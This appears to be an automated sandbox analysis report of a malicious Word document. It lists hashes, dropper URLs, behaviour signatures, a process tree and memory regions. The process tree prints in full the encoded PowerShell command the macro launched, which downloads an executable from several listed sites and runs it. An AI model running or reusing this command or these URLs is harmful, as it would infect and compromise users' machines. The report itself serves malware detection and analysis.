Analysis

  • max time kernel
    148s
  • max time network
    191s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    01-07-2022 03:50

General

  • Target

    8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8.doc

  • Size

    130KB

  • MD5

    ec859aead55ca0793ef9118d618b814d

  • SHA1

    99d144664b0ba946eb5a96f69ba05730a3761bf7

  • SHA256

    8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8

  • SHA512

    2d5e7b60a434e4fd87a5549a638a3b07322f0c37580da4521ba483a7dcb148c1910b9c99ce0f6231552e9af39cdb280d58b8b6f25bbb2d1d4317ca81de97c1f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/

exe.dropper

http://eastpennlandscape.com/css/qhJUtdBFvM/

exe.dropper

http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/

exe.dropper

http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/

exe.dropper

http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3712
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3852

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3712-138-0x0000019BA0DA0000-0x0000019BA0DA4000-memory.dmp

      Filesize

      16KB

    • memory/3712-136-0x00007FFA352F0000-0x00007FFA35300000-memory.dmp

      Filesize

      64KB

    • memory/3712-132-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-133-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-130-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-135-0x00007FFA352F0000-0x00007FFA35300000-memory.dmp

      Filesize

      64KB

    • memory/3712-131-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-146-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-134-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-145-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-144-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3712-143-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

      Filesize

      64KB

    • memory/3852-141-0x00007FFA4BD70000-0x00007FFA4C831000-memory.dmp

      Filesize

      10.8MB

    • memory/3852-140-0x00007FFA4BD70000-0x00007FFA4C831000-memory.dmp

      Filesize

      10.8MB

    • memory/3852-139-0x00000286EBA00000-0x00000286EBA22000-memory.dmp

      Filesize

      136KB